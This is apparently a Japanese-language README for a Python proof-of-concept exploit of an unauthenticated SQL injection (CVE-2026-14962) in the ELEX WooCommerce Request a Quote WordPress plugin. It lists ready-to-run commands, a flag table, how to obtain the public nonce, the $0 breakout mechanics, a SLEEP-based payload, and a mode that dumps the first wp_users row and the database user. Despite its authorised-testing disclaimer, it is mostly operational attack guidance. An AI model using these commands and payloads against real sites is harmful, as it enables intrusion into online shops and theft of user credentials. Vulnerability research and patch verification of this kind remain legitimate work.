
Wordpressプラグイン ELEX WooCommerce Request a Quote の未認証SQLインジェクション
Wordpress プラグイン ELEX WooCommerce Request a Quote の未認証 SQL インジェクション
ELEX WooCommerce Request a Quote (WordPress プラグイン elex-request-a-quote) ≤ 2.4.0 — 公開されている elex_raq_add_to_quote AJAX アクションを介した未認証 SQL インジェクション。
許可されたテスト専用です。所有していない、またはテストの許可を得ていないシステムに対して実行しないでください。
必要条件: Python 3、標準ライブラリのみ。ターゲットで WooCommerce が動作している必要があります (quote スクリプト/nonce はショップ/ホームページに出力されます)。
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| フラグ | 動作 |
|---|
-u / --url | WordPress サイトのルート (必須)。http:// または https://。ホスト名の場合は HTTPS を先に試し、次に HTTP を試します。自己署名 TLS は自動的に再試行されます。--insecure を指定すると最初から検証をスキップします |
--test | ゲスト: プラグインバージョン + 公開 nonce、続いて非破壊的な $0 SQL プローブ |
--dump | 最初の wp_users 行 + DB ユーザー。XPATH エラーが HTTP ボディに含まれるように WP_DEBUG が必要です |
--query SQL | 独自の SQL 式 (シングルクォート不可。文字列には 0x… 16 進数を使用) |
--sql EXPR | $0$0 ブレイクアウト後の生の data[id] () OR … # ガジェットを自分で記述します) |
--sleep N | 時間ベースの SLEEP(N) 試行 |
--pid / --vid | WooCommerce の product / variation ID (シンクに到達するには variation が空でない必要があります) |
--insecure | TLS 検証をスキップ |
--timeout | HTTP タイムアウト秒 (デフォルト 30) |
未認証。nonce は / と /shop/ の request_a_quote_ajax_obj に出力されます。ゲスト Cookie は request_a_quote_user_coockie です (プラグインの綴り)。
--test は attribute_value=$0 を POST します。脆弱な 2.4.0 の preg_replace は $0 を %s のマッチとして扱い、クエリ内にリテラルの %d を残します。2.4.1 では JSON_CONTAINS がバインドされ、$0 は単なる JSON 値になります。
標準出力: VERSION、NONCE、VULNERABLE、NOT_VULNERABLE、NOT_FOUND、NO_NONCE、NO_DUMP、SQLERR、SLEEP。
CVE: CVE-2026-14962。プラグイン変更履歴 2.4.1。
